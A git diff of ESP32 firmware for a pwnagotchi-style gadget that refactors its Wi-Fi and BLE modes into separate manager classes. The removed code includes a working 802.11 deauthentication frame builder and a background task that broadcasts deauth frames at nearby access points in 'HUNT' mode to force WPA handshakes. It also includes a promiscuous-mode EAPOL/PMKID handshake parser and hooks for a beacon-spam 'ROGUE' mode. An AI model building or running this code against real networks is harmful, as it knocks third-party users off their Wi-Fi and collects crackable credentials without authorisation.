_lastDeauth; +}; + +DeauthManager& getDeauthManager(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/gotchi.cpp b/firmware/main/gotchi/gotchi.cpp index dfda293..b7a7841 100644 --- a/firmware/main/gotchi/gotchi.cpp +++ b/firmware/main/gotchi/gotchi.cpp @@ -7,387 +7,48 @@ #include "gps.h" #include "xp_system.h" #include "achievement_system.h" -#include "web_manager.h" #include "mode.h" -#include "rogue_manager.h" -#include -#include -#include +#include "network_db.h" +#include "handshake_parser.h" +#include "wifi_scanner.h" +#include "deauth_manager.h" +#include "ble_scanner.h" +#include "mode_manager.h" #include -#include #include #include -#include #include #include -#include -#include -#include -#include -#include -#include -#include +#include static const char* TAG = "gotchi"; namespace gotchi { -static Mode _currentMode = Mode::IDLE; -static Mood _currentMood = Mood::NEUTRAL; -static XPSystem _xpSystem; -static AchievementSystem _achievementSystem; static bool _initialized = false; -static bool _sniffing = false; -static bool _wifiInitialized = false; -static bool _beaconSpamming = false; -static bool _configModeActive = false; - static uint32_t _startTime = 0; -static uint32_t _networksFound = 0; static uint32_t _handshakesCaptured = 0; -static uint32_t _channelsScanned = 0; -static uint32_t _lastChannelHop = 0; - -// Session tracking static uint32_t _sessionStartTime = 0; static uint32_t _sessionStartXP = 0; -static uint32_t _currentChannel = 1; static int32_t _minHeapSession = 0; +static bool _huntDisclaimerShown = false; -static std::vector _networks; -static std::vector _handshakes; -static std::vector _bleDevices; -static const int MAX_NETWORKS = 200; - -// Configuration static GotchiConfig _config; -static const int MAX_HANDSHAKES = 50; -static const int MAX_BLE_DEVICES = 100; -static bool _bleScanning = false; - -// Handshake state tracking - tracks 4-way handshake progress -struct HandshakeState { - uint8_t bssid[6]; - uint8_t clientMac[6]; - char ssid[33]; - bool hasM1; // Has ANonce from AP - bool hasM2; // Has SNonce from client - bool hasM3; // Has GTK from AP - bool hasM4; // Final confirmation from client - uint8_t anonce[32]; - uint8_t snonce[32]; - uint8_t mic[16]; - uint32_t lastSeen; -}; - -static std::vector _pendingHandshakes; - -static int findPendingHandshake(const uint8_t* bssid, const uint8_t* clientMac) { - for (int i = 0; i < (int)_pendingHandshakes.size(); i++) { - if (memcmp(_pendingHandshakes[i].bssid, bssid, 6) == 0) { - if (clientMac == nullptr || memcmp(_pendingHandshakes[i].clientMac, clientMac, 6) == 0) { - return i; - } - } - } - return -1; -} - -static void processEapolFrame(uint8_t* payload, int len, const uint8_t* srcMac, const uint8_t* dstMac, - const char* ssid, const uint8_t* bssid, int8_t rssi) { - // Need at least: LLC (6) + SNAP (6) + EAPOL (4) + Key Info (10) = 26 minimum - if (len < 26) return; - - // Check for LLC+SNAP header: AA:AA:03 (802.1X) - if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return; - - // Check for EAPOL (type 0x88, version 0x01) - if (payload[3] != 0x88 || payload[4] != 0x01) return; - - // Skip to EAPOL payload - uint8_t* eapol = payload + 4; - - // Check key descriptor type (0x02 = RSN, 0x01 = WPA) - if (eapol[1] != 0x02 && eapol[1] != 0x01) return; - - // Key descriptor flags: byte eapol[3] and eapol[4] - uint16_t keyInfo = (eapol[3] << 8) | eapol[4]; - - // Check if this is a key frame (bit 0 = Key Type) - bool isKeyFrame = (keyInfo & 0x01) != 0; - bool hasKeyMic = (keyInfo & 0x100) != 0; // Key MIC bit - bool hasKeyData = (keyInfo & 0x200) != 0; // Key Data bit (PMKID or GTK) - bool isFromAP = (keyInfo & 0x0400) != 0; // Install bit - from AP - - if (!isKeyFrame) return; - - // Key Data Length (bytes 6-7) - uint16_t keyDataLen = (eapol[6] << 8) | eapol[7]; - if (keyDataLen > len - 8) return; - - // Find associated network to get SSID - char targetSSID[33] = {0}; - if (ssid && strlen(ssid) > 0) { - strncpy(targetSSID, ssid, 32); - } else { - // Look up SSID from BSSID in known networks - for (const auto& net : _networks) { - if (memcmp(net.bssid, bssid, 6) == 0) { - strncpy(targetSSID, net.ssid, 32); - break; - } - } - } - - // Determine message type based on flags - // M1: From AP, no MIC, has key data (ANonce) - // M2: From Client, has MIC, no key data (SNonce + MIC) - // M3: From AP, has MIC, has key data (GTK + MIC) - // M4: From Client, has MIC, no key data (confirmation) - - HandshakeState hs = {}; - memcpy(hs.bssid, bssid, 6); - memcpy(hs.clientMac, isFromAP ? dstMac : srcMac, 6); // Client is receiver for M1/M3, sender for M2/M4 - strncpy(hs.ssid, targetSSID, 32); - hs.lastSeen = GetHAL().millis(); - hs.hasM1 = false; - hs.hasM2 = false; - hs.hasM3 = false; - hs.hasM4 = false; - - // Extract key information - // Key Data starts at offset 8 in EAPOL, after Length (2 bytes) - uint8_t* keyData = eapol + 8; - - // For RSN (WPA2), check for PMKID in Key Data - // PMKID is at offset 0 in RSN IE when present - bool hasPMKID = false; - if (keyDataLen >= 4 && keyData[0] == 0xDD && keyData[1] == 0x16) { - // Look for PMKID in RSN IE - for (int i = 0; i < keyDataLen - 8; i++) { - if (keyData[i] == 0xDD && keyData[i+1] == 0x14) { // PMKID IE - hasPMKID = true; - ESP_LOGI(TAG, "Detected PMKID for %s!", targetSSID); - break; - } - } - } - - // Determine which message we got - if (!isFromAP && !hasKeyMic && hasKeyData) { - // This is M1: First message from AP - hs.hasM1 = true; - // Extract ANonce from key data - if (keyDataLen >= 32) { - memcpy(hs.anonce, keyData + 2, 32); // Skip RSN IE header - } - } else if (isFromAP && hasKeyMic && hasKeyData) { - // This is M3: Third message from AP (includes GTK) - hs.hasM3 = true; - hs.hasM1 = true; // Must have M1 before M3 - } else if (!isFromAP && hasKeyMic && !hasKeyData) { - // This is M2 or M4: Client response - if (hasPMKID) { - hs.hasM3 = true; // Treat PMKID as M3 - } - } - - // Find or create pending handshake - int idx = findPendingHandshake(bssid, hs.clientMac); - if (idx >= 0) { - // Update existing - if (hs.hasM1) _pendingHandshakes[idx].hasM1 = true; - if (hs.hasM2) _pendingHandshakes[idx].hasM2 = true; - if (hs.hasM3) _pendingHandshakes[idx].hasM3 = true; - if (hs.hasM4) _pendingHandshakes[idx].hasM4 = true; - _pendingHandshakes[idx].lastSeen = GetHAL().millis(); - } else if (_pendingHandshakes.size() < MAX_HANDSHAKES) { - _pendingHandshakes.push_back(hs); - idx = _pendingHandshakes.size() - 1; - } - - // Check if handshake is complete (M1+M2 or M1+M3) - if (_pendingHandshakes[idx].hasM1 && (_pendingHandshakes[idx].hasM2 || _pendingHandshakes[idx].hasM3)) { - - // Create final handshake record - HandshakeInfo finalHs = {}; - strncpy(finalHs.ssid, _pendingHandshakes[idx].ssid, 32); - memcpy(finalHs.bssid, _pendingHandshakes[idx].bssid, 6); - memcpy(finalHs.clientMac, _pendingHandshakes[idx].clientMac, 6); - finalHs.timestamp = GetHAL().millis(); - finalHs.isComplete = true; - finalHs.messagesGot = 0x07; // M1+M2+M3 captured - - _handshakes.push_back(finalHs); - _handshakesCaptured++; - - // Mark network as having capture - for (auto& net : _networks) { - if (memcmp(net.bssid, bssid, 6) == 0) { - net.hasCapture = true; - break; - } - } - - ESP_LOGI(TAG, "🎉 Complete handshake captured for %s!", finalHs.ssid); - - // Remove from pending - _pendingHandshakes.erase(_pendingHandshakes.begin() + idx); - - // Bonus XP for capture - addXP(25); // Reduced from 50 XP - } -} - -// Forward declaration for header length calculation -static int ieee80211_hdrlen(uint16_t fc); - -// WiFi promiscuous packet handler - captures beacon frames and data frames -static void wifiSniffCallback(void* buf, wifi_promiscuous_pkt_type_t type) { - if (buf == nullptr) return; - - wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; - uint8_t* payload = pkt->payload; - int len = pkt->rx_ctrl.sig_len; - - if (len < 24) return; - - // Handle management frames (beacons) - if (type == WIFI_PKT_MGMT) { - // Check if this is a Beacon frame (subtype 0x80) - if ((payload[0] & 0xFC) != 0x80) return; - - // Beacon frame - parse SSID from tag 0x00 - int pos = 36; // Skip fixed parameters - while (pos < len - 2) { - uint8_t tag = payload[pos]; - uint8_t tag_len = payload[pos + 1]; - - if (tag == 0x00) { // SSID tag - if (tag_len > 0 && tag_len < 33) { - // Found SSID - get BSSID and channel - uint8_t bssid[6]; - memcpy(bssid, &payload[10], 6); - int8_t rssi = pkt->rx_ctrl.rssi; - uint8_t channel = pkt->rx_ctrl.channel; - - // Check if already known - bool found = false; - for (auto& net : _networks) { - if (memcmp(net.bssid, bssid, 6) == 0) { - net.rssi = rssi; - net.lastSeen = GetHAL().millis(); - found = true; - break; - } - } - - // Add new network - if (!found && _networks.size() < MAX_NETWORKS) { - NetworkInfo net; - memset(net.ssid, 0, 33); - memcpy(net.ssid, &payload[pos + 2], tag_len); - memcpy(net.bssid, bssid, 6); - net.rssi = rssi; - net.channel = channel; - net.isHidden = false; - net.hasCapture = false; - net.lastSeen = GetHAL().millis(); - _networks.push_back(net); - _networksFound++; - ESP_LOGI(TAG, "Found: %.32s (ch:%d rssi:%d)", net.ssid, channel, rssi); - } - } - break; - } - pos += tag_len + 2; - } - } - - // Handle data frames (potential EAPOL handshakes) - else if (type == WIFI_PKT_DATA) { - if (len < 24) return; - - // Parse frame control to get header length - uint16_t fc = payload[0] | (payload[1] << 8); - int hdrlen = ieee80211_hdrlen(fc); - - if (len < hdrlen + 8) return; // Not enough for LLC+EAPOL header - - // Check for ToDS/FromDS to adjust for 4-address format - bool toDs = (fc & 0x0100) != 0; - bool fromDs = (fc & 0x0200) != 0; - - // Adjust offset for 4-address WDS frames - int offset = hdrlen; - if (toDs && fromDs) offset += 6; // WDS frame has 4 addresses - - // Check for QoS data frame - uint8_t subtype = (fc >> 4) & 0x0F; - bool isQoS = (subtype & 0x08) != 0; - if (isQoS) offset += 2; - - // Check for HTC field (present in QoS frames with Order bit set) - if (isQoS && (payload[1] & 0x80)) offset += 4; - - if (offset + 8 > len) return; - - // Check LLC/SNAP header for EAPOL (0xAA 0xAA 0x03 0x00 0x00 0x00 0x88 0x8E) - if (payload[offset] == 0xAA && payload[offset+1] == 0xAA && - payload[offset+2] == 0x03 && payload[offset+3] == 0x00 && - payload[offset+4] == 0x00 && payload[offset+5] == 0x00 && - payload[offset+6] == 0x88 && payload[offset+7] == 0x8E) { - - // Get MACs from 802.11 header - uint8_t srcMac[6], dstMac[6]; - memcpy(srcMac, &payload[10], 6); // Transmitter Address (TA) - memcpy(dstMac, &payload[4], 6); // Receiver Address (RA) - - // BSSID is at offset 16 (Address 3) - uint8_t bssid[6]; - memcpy(bssid, &payload[16], 6); - - // Try to find SSID for the BSSID - char ssid[33] = {0}; - for (const auto& net : _networks) { - if (memcmp(net.bssid, bssid, 6) == 0) { - strncpy(ssid, net.ssid, 32); - break; - } - } - - processEapolFrame(payload + offset + 8, len - offset - 8, srcMac, dstMac, ssid, bssid, pkt->rx_ctrl.rssi); - } - } -} - -// Calculate 802.11 header length based on frame control field -static int ieee80211_hdrlen(uint16_t fc) { - int hdrlen = 24; // base header - uint8_t type = (fc >> 2) & 0x3; - - if (type == 2) { // Data frame - if (fc & 0x0080) hdrlen += 2; // QoS flag - } - if (fc & 0x8000) hdrlen += 4; // HT control present - - return hdrlen; -} const char* getModeName(Mode mode) { return getModeInfo(mode).name; } const char* getLevelTitle(int level) { - return _xpSystem.getLevelTitle(); + return getXPSystem().getLevelTitle(); } int getXPForLevel(int level) { - return _xpSystem.getXPForLevel(level); + return getXPSystem().getXPForLevel(level); } int getXPProgress(int32_t xp, int level) { - return _xpSystem.getXPProgress(); + return getXPSystem().getXPProgress(); } static void loadFromNVS() { @@ -399,25 +60,17 @@ static void loadFromNVS() { } int32_t savedXP = 0; - int32_t savedLevel = 1; - uint32_t savedNetworks = 0; - if (nvs_get_i32(nvs, "xp", &savedXP) == ESP_OK) { - _xpSystem.addXP(savedXP); - } - if (nvs_get_i32(nvs, "level", &savedLevel) == ESP_OK) { - (void)savedLevel; - } - if (nvs_get_u32(nvs, "netsfound", &savedNetworks) == ESP_OK) { - _networksFound = savedNetworks; + getXPSystem().addXP(savedXP); } nvs_close(nvs); - ESP_LOGI(TAG, "Loaded from NVS: XP=%d, Level=%d, Networks=%u", - (int)_xpSystem.getXP(), (int)_xpSystem.getLevel(), (unsigned)_networksFound); + ESP_LOGI(TAG, "Loaded from NVS: XP=%d, Level=%d", + (int)getXPSystem().getXP(), (int)getXPSystem().getLevel()); - _xpSystem.loadFromNVS(); - _achievementSystem.loadFromNVS(); + getXPSystem().loadFromNVS(); + getAchievementSystem().loadFromNVS(); + getNetworkDatabase().loadFromNVS(); } static void saveToNVS() { @@ -428,18 +81,17 @@ static void saveToNVS() { return; } - nvs_set_i32(nvs, "xp", _xpSystem.getXP()); - nvs_set_i32(nvs, "level", _xpSystem.getLevel()); - nvs_set_u32(nvs, "netsfound", _networksFound); - nvs_set_u32(nvs, "netscnt", (uint32_t)_networks.size()); + nvs_set_i32(nvs, "xp", getXPSystem().getXP()); + nvs_set_i32(nvs, "level", getXPSystem().getLevel()); nvs_commit(nvs); nvs_close(nvs); - _xpSystem.saveToNVS(); - _achievementSystem.saveToNVS(); + getXPSystem().saveToNVS(); + getAchievementSystem().saveToNVS(); + getNetworkDatabase().saveToNVS(); - ESP_LOGI(TAG, "Saved to NVS: XP=%d, Level=%d, Networks=%u", - (int)_xpSystem.getXP(), (int)_xpSystem.getLevel(), (unsigned)_networks.size()); + ESP_LOGI(TAG, "Saved to NVS: XP=%d, Level=%d", + (int)getXPSystem().getXP(), (int)getXPSystem().getLevel()); } void init() { @@ -450,52 +102,30 @@ void init() { esp_err_t ret = nvs_flash_init(); if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { ESP_LOGW(TAG, "NVS flash needs recovery, erasing..."); - esp_err_t erase_ret = nvs_flash_erase(); - if (erase_ret != ESP_OK) { - ESP_LOGE(TAG, "NVS erase failed: %d", erase_ret); - } + nvs_flash_erase(); ret = nvs_flash_init(); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "NVS init after erase failed: %d", ret); - } - } else if (ret != ESP_OK) { + } + if (ret != ESP_OK) { ESP_LOGE(TAG, "NVS flash init failed: %d", ret); } - // Load saved XP/level from NVS loadFromNVS(); - // Initialize XP and Achievement systems - _xpSystem.init(); - _achievementSystem.init(); - - // Initialize GPS + getXPSystem().init(); + getAchievementSystem().init(); getGpsManager().init(); + getWifiScanner().init(); + getBLEScanner().init(); + + // Handshake capture handled via getHandshakes() in app_gotchi - // Initialize storage and load config if (initStorage()) { if (loadConfig(_config)) { - ESP_LOGI(TAG, "Config loaded from SD card"); - if (_config.wigleApiKey[0] != '\0') { - ESP_LOGI(TAG, "WiGLE API key configured"); - } - if (_config.wpasecKey[0] != '\0') { - ESP_LOGI(TAG, "WPA-sec API key configured"); - } + ESP_LOGI(TAG, "Config loaded"); } - // Save default config if not exists saveConfig(_config); } - // Initialize BLE system for scanning capability - // This ensures NimBLE host is started before we attempt any BLE operations - ESP_LOGI(TAG, "Ensuring BLE system is ready..."); - GetHAL().startBleServer(); // This initializes NimBLE as peripheral - // Brief delay to allow BLE to initialize - vTaskDelay(pdMS_TO_TICKS(100)); - - _currentMode = Mode::IDLE; - _currentMood = Mood::NEUTRAL; _startTime = GetHAL().millis(); _initialized = true; @@ -505,258 +135,71 @@ void init() { void update() { if (!_initialized) return; - // Update GPS data getGpsManager().update(); + getModeManager().update(); uint32_t now = GetHAL().millis(); uint32_t uptime = (now - _startTime) / 1000; - // Channel hopping - use mode-specific interval - const ModeInfo& mi = getModeInfo(_currentMode); - if (_sniffing && mi.enableChannelHop && (now - _lastChannelHop) > mi.hopIntervalMs) { - static uint8_t hopIndex = 0; - hopIndex = (hopIndex + 1) % getChannelSequenceLength(); - _currentChannel = getChannelSequence()[hopIndex]; - esp_wifi_set_channel(_currentChannel, WIFI_SECOND_CHAN_NONE); - _channelsScanned++; - _lastChannelHop = now; - } - -// Passive XP gain (reduced rate - every 30 seconds) if (uptime % 3000 == 0 && uptime > 0) { addXP(1); } - // Bonus XP for networks found (every 60 seconds, but reduced gain) - if (_networksFound > 0 && (now % 60000) < 100) { - addXP(1); // 1 XP per minute regardless of network count - } -} - -static TaskHandle_t _deauthTaskHandle = nullptr; -static bool _deauthActive = false; - -static void sendDeauthFrame(const uint8_t* bssid, uint8_t reason) { - // Try deauth with proper frame - 26 byte minimum for management frame - uint8_t deauth[32] = {0}; - - // IEEE 802.11 Deauthentication frame - // FC(2) | Dur(2) | Addr1(6) | Addr2(6) | Addr3(6) | Seq(2) | Reason(2) - uint16_t fc = 0x00C0; // Deauth frame - - memcpy(&deauth[0], &fc, 2); - deauth[2] = 0x00; deauth[3] = 0x00; // Duration - - // Address 1: DA (broadcast) - memset(&deauth[4], 0xFF, 6); - // Address 2: SA (AP) - memcpy(&deauth[10], bssid, 6); - // Address 3: BSSID - memcpy(&deauth[16], bssid, 6); - - // Sequence - deauth[22] = 0; deauth[23] = 0; - - // Reason code - deauth[24] = reason; - deauth[25] = 0; - - esp_wifi_80211_tx(WIFI_IF_STA, deauth, 26, false); -} - -static void deauthTask(void* param) { - (void)param; - ESP_LOGI(TAG, "Deauth task started"); - - uint32_t lastDeauth = 0; - uint32_t deauthCount = 0; - - while (_deauthActive && _currentMode == Mode::HUNT) { - uint32_t now = GetHAL().millis(); - - if (now - lastDeauth > 3000) { - lastDeauth = now; - - const uint8_t DISASSOC_REASON = 0x03; - - for (const auto& net : _networks) { - if (!_deauthActive || _currentMode != Mode::HUNT) break; - if (net.hasCapture) continue; - if (net.channel != _currentChannel) continue; - - sendDeauthFrame(net.bssid, DISASSOC_REASON); - deauthCount++; - - vTaskDelay(pdMS_TO_TICKS(50)); - - if (deauthCount >= 5) break; - } - - if (deauthCount % 30 == 0 && deauthCount > 0) { - ESP_LOGI(TAG, "Deauth frames sent: %u", deauthCount); - } - } - - vTaskDelay(pdMS_TO_TICKS(500)); - } - - ESP_LOGI(TAG, "Deauth task stopped, sent %u frames", deauthCount); - _deauthActive = false; - vTaskDelete(NULL); -} - -static void startDeauth() { - if (_deauthActive) return; - if (_currentMode != Mode::HUNT) return; - - ESP_LOGI(TAG, "Starting deauth for handshake capture"); - _deauthActive = true; - xTaskCreate(deauthTask, "deauth_task", 2048, NULL, 3, &_deauthTaskHandle); -} - -static void stopDeauth() { - if (!_deauthActive) return; - - _deauthActive = false; - - if (_deauthTaskHandle) { - vTaskDelay(pdMS_TO_TICKS(100)); - _deauthTaskHandle = nullptr; + if (getNetworkDatabase().getNetworksFound() > 0 && (now % 60000) < 100) { + addXP(1); } - - ESP_LOGI(TAG, "Deauth attack stopped"); } void shutdown() { if (!_initialized) return; - stopSniff(); - stopScout(); - - // Save XP/level before shutdown + getModeManager().shutdown(); saveToNVS(); _initialized = false; - _wifiInitialized = false; ESP_LOGI(TAG, "StackChan-Gotchi shutdown"); } void setMode(Mode mode) { - if (_currentMode == mode) return; - - bool wasSniffing = _sniffing; - _currentMode = mode; - - // Stop any previous WiFi/BLE activity - if (wasSniffing) { - stopSniff(); - stopScout(); - } - if (_bleScanning) { - stopBLEScan(); - } - if (_beaconSpamming) { - stopRogue(); - } - if (_configModeActive) { - stopConfigMode(); - } - if (_deauthActive) { - stopDeauth(); - } - - // Start appropriate mode - switch (mode) { - case Mode::HUNT: - ESP_LOGI(TAG, "Starting HUNT mode (promiscuous + deauth)"); - _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xpSystem.getXP(); - startSniff(); - startDeauth(); - break; - case Mode::SCOUT: - ESP_LOGI(TAG, "Starting SCOUT mode (active scan)"); - _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xpSystem.getXP(); - startScout(); - break; - case Mode::WARDIVE: - ESP_LOGI(TAG, "Starting WARDIVE mode (passive)"); - _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xpSystem.getXP(); - startSniff(); - break; - case Mode::SPECTRUM: - ESP_LOGI(TAG, "Starting SPECTRUM mode (passive)"); - _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xpSystem.getXP(); - startSniff(); - break; - case Mode::BLE_SCAN: - ESP_LOGI(TAG, "Starting BLE-SCAN mode (BLE scan)"); - _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xpSystem.getXP(); - startBLEScan(); - break; - case Mode::ROGUE: - ESP_LOGI(TAG, "Starting ROGUE mode (beacon spam)"); - _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xpSystem.getXP(); - startRogue(); - break; - case Mode::CONFIG: - ESP_LOGI(TAG, "Starting CONFIG mode (web server)"); - _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xpSystem.getXP(); - startConfigMode(); - break; - case Mode::IDLE: - ESP_LOGI(TAG, "IDLE mode"); - break; - default: - break; - } - - _currentMood = getModeInfo(mode).mood; + getModeManager().setMode(mode); + _sessionStartTime = GetHAL().millis(); + _sessionStartXP = getXPSystem().getXP(); } Mode getCurrentMode() { - return _currentMode; + return getModeManager().getCurrentMode(); } void setMood(Mood mood) { - _currentMood = mood; + getModeManager().setMood(mood); } Mood getCurrentMood() { - return _currentMood; + return getModeManager().getCurrentMood(); } Stats getStats() { Stats stats; - stats.xp = _xpSystem.getXP(); - stats.level = _xpSystem.getLevel(); - stats.networksFound = _networksFound; + stats.xp = getXPSystem().getXP(); + stats.level = getXPSystem().getLevel(); + stats.networksFound = getNetworkDatabase().getNetworksFound(); stats.handshakesCaptured = _handshakesCaptured; - stats.channelsScanned = _channelsScanned; + stats.channelsScanned = getWifiScanner().getChannelsScanned(); stats.uptimeSeconds = (GetHAL().millis() - _startTime) / 1000; - // Session statistics - stats.sessionNetworks = _networks.size(); + stats.sessionNetworks = getNetworkDatabase().getNetworkCount(); stats.sessionTimeSeconds = (GetHAL().millis() - _sessionStartTime) / 1000; stats.sessionStartTime = _sessionStartTime; - stats.sessionXPGain = _xpSystem.getXP() - _sessionStartXP; - stats.currentChannel = _currentChannel; + stats.sessionXPGain = getXPSystem().getXP() - _sessionStartXP; + stats.currentChannel = getWifiScanner().getCurrentChannel(); - // Heap monitoring stats.freeHeap = heap_caps_get_free_size(MALLOC_CAP_8BIT); if (_minHeapSession == 0 || stats.freeHeap < _minHeapSession) { _minHeapSession = stats.freeHeap; } stats.minHeap = _minHeapSession; - // GPS data GPSData gps = getGpsManager().getData(); stats.gpsValid = gps.valid; stats.gpsSatellites = gps.satellites; @@ -774,552 +217,119 @@ void addXP(int32_t amount) { if (!_initialized) return; if (amount <= 0) return; - // Apply mode-specific multipliers to XP - float multiplier = getModeInfo(_currentMode).xpMultiplier; + float multiplier = getModeInfo(getCurrentMode()).xpMultiplier; int32_t effectiveAmount = (int32_t)(amount * multiplier); - _xpSystem.addXP(effectiveAmount); + getXPSystem().addXP(effectiveAmount); } std::vector getNetworks() { - return _networks; + return getNetworkDatabase().getNetworks(); } int getNetworkCount() { - return (int)_networks.size(); + return getNetworkDatabase().getNetworkCount(); } -void startSniff() { - if (_sniffing) return; - - // Only initialize WiFi once - don't reinit on every mode change - if (!_wifiInitialized) { - ESP_LOGI(TAG, "Initializing WiFi (one-time)"); - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - esp_err_t ret = esp_wifi_init(&cfg); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi init failed: %d", ret); - return; - } - vTaskDelay(pdMS_TO_TICKS(100)); - - ret = esp_wifi_set_mode(WIFI_MODE_STA); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi mode set failed: %d", ret); - esp_wifi_deinit(); - return; - } - vTaskDelay(pdMS_TO_TICKS(100)); - - _wifiInitialized = true; - } else { - ESP_LOGI(TAG, "Reusing existing WiFi"); - } - - esp_err_t ret = esp_wifi_disconnect(); - (void)ret; - vTaskDelay(pdMS_TO_TICKS(100)); +std::vector getHandshakes() { + return getHandshakeParser().getCapturedHandshakes(); +} - // Register packet capture callback - esp_wifi_set_promiscuous_rx_cb(wifiSniffCallback); +int getHandshakeCount() { + return getHandshakeParser().getCapturedCount(); +} - // Enable both management and data frame capture for handshake detection - wifi_promiscuous_filter_t filter = { - .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA - }; - ret = esp_wifi_set_promiscuous_filter(&filter); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "Set filter failed: %d", ret); - } - ret = esp_wifi_set_promiscuous(true); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "Promiscuous mode error (non-fatal): %d", ret); - esp_wifi_set_promiscuous(false); - wifi_scan_config_t scan_config = {}; - scan_config.show_hidden = true; - esp_wifi_scan_start(&scan_config, false); - } - vTaskDelay(pdMS_TO_TICKS(100)); +bool hasCompleteHandshake(const uint8_t* bssid) { + return getNetworkDatabase().hasCompleteHandshake(bssid); +} - // Start on channel 1 and initialize channel hopping - esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); - _lastChannelHop = GetHAL().millis(); +std::vector getChannelAnalysis() { + return getNetworkDatabase().getChannelAnalysis(); +} - _sniffing = true; - ESP_LOGI(TAG, "Sniff mode started"); +void startSniff() { + getWifiScanner().startSniff(); } void stopSniff() { - if (!_sniffing) return; - - esp_wifi_set_promiscuous(false); - _sniffing = false; - ESP_LOGI(TAG, "Sniff mode stopped"); + getWifiScanner().stopSniff(); } void startScout() { - if (_sniffing) return; - - // Reuse WiFi if already initialized - if (!_wifiInitialized) { - ESP_LOGI(TAG, "Initializing WiFi for Scout (one-time)"); - wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); - esp_err_t ret = esp_wifi_init(&cfg); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi init failed: %d", ret); - return; - } - vTaskDelay(pdMS_TO_TICKS(50)); - - ret = esp_wifi_set_mode(WIFI_MODE_STA); - if (ret != ESP_OK) { - ESP_LOGW(TAG, "WiFi mode set failed: %d", ret); - esp_wifi_deinit(); - return; - } - vTaskDelay(pdMS_TO_TICKS(50)); - - _wifiInitialized = true; - } - - wifi_scan_config_t scan_config = {}; - scan_config.show_hidden = true; - esp_wifi_scan_start(&scan_config, false); - - _sniffing = true; - ESP_LOGI(TAG, "Scout mode started"); + getWifiScanner().startScan(); } void stopScout() { - if (!_sniffing) return; - - esp_wifi_scan_stop(); - _sniffing = false; - ESP_LOGI(TAG, "Scout mode stopped"); + getWifiScanner().stopScan(); } -bool isSniffing() { - return _sniffing; +void startRogue() { + getModeManager().setMode(Mode::ROGUE); } -std::vector getChannelAnalysis() { - std::vector channelInfo(14); - - for (int i = 0; i < 14; i++) { - channelInfo[i].channel = i + 1; - channelInfo[i].networkCount = 0; - channelInfo[i].maxRssi = -100; - channelInfo[i].avgRssi = -100; - } - - int channelSum[14] = {0}; - int channelCount[14] = {0}; - - for (const auto& net : _networks) { - if (net.channel >= 1 && net.channel <= 14) { - int idx = net.channel - 1; - channelInfo[idx].networkCount++; - channelSum[idx] += net.rssi; - channelCount[idx]++; - if (net.rssi > channelInfo[idx].maxRssi) { - channelInfo[idx].maxRssi = net.rssi; - } - } - } - - for (int i = 0; i < 14; i++) { - if (channelCount[i] > 0) { - channelInfo[i].avgRssi = channelSum[i] / channelCount[i]; - } +void stopRogue() { + if (getCurrentMode() == Mode::ROGUE) { + getModeManager().setMode(Mode::SCOUT); } - - return channelInfo; } -void addHandshake(const HandshakeInfo& hs) { - if (_handshakes.size() >= MAX_HANDSHAKES) { - _handshakes.erase(_handshakes.begin()); - } - _handshakes.push_back(hs); +bool isBeaconSpamming() { + return getModeManager().isBeaconSpamming(); } -std::vector getHandshakes() { - return _handshakes; +void startConfigMode() { + getModeManager().setMode(Mode::CONFIG); } -int getHandshakeCount() { - int count = 0; - for (const auto& hs : _handshakes) { - if (hs.isComplete) count++; - } - return count; +void stopConfigMode() { + getModeManager().setMode(Mode::SCOUT); } -bool hasCompleteHandshake(const uint8_t* bssid) { - for (const auto& hs : _handshakes) { - if (hs.isComplete && memcmp(hs.bssid, bssid, 6) == 0) { - return true; - } - } - return false; +bool isConfigMode() { + return getModeManager().isConfigModeActive(); } std::vector getBLEDevices() { - return _bleDevices; -} - -int getBLEDeviceCount() { - return (int)_bleDevices.size(); -} - -static int bleScanCb(struct ble_gap_event* event, void* arg) { - if (event->type == BLE_GAP_EVENT_DISC) { - const struct ble_gap_disc_desc* desc = &event->disc; - - BLEDeviceInfo device = {}; - memcpy(device.mac, desc->addr.val, 6); - device.rssi = desc->rssi; - device.advType = desc->event_type; - device.lastSeen = GetHAL().millis(); - - bool hasName = false; - for (int i = 0; i < desc->length_data; i++) { - if (desc->data[i] == 0x09 || desc->data[i] == 0x08) { - int nameLen = desc->data[i + 1]; - if (nameLen > 32) nameLen = 32; - memcpy(device.name, &desc->data[i + 2], nameLen); - device.name[nameLen] = '\0'; - hasName = true; - break; - } - } - - if (!hasName) { - snprintf(device.name, 33, "Unknown_%02X%02X", device.mac[4], device.mac[5]); - } - - for (auto& dev : _bleDevices) { - if (memcmp(dev.mac, device.mac, 6) == 0) { - dev.rssi = device.rssi; - dev.lastSeen = device.lastSeen; - if (hasName && device.name[0] != '\0') { - strncpy(dev.name, device.name, 32); - } - return 0; - } - } - - if (_bleDevices.size() < MAX_BLE_DEVICES) { - _bleDevices.push_back(device); - ESP_LOGI(TAG, "BLE: %s RSSI:%d", device.name, device.rssi); - } - } - return 0; + return getNetworkDatabase().getBLEDevices(); } void startBLEScan() { - if (_bleScanning) return; - - ESP_LOGI(TAG, "Starting BLE scan..."); - - struct ble_gap_disc_params discParams = { - .itvl = 0x0010, - .window = 0x0010, - .filter_policy = BLE_HCI_SCAN_FILT_NO_WL, - .passive = 0, - .filter_duplicates = 1 - }; - - int rc = ble_gap_disc(BLE_OWN_ADDR_PUBLIC, 30000, &discParams, bleScanCb, NULL); - - 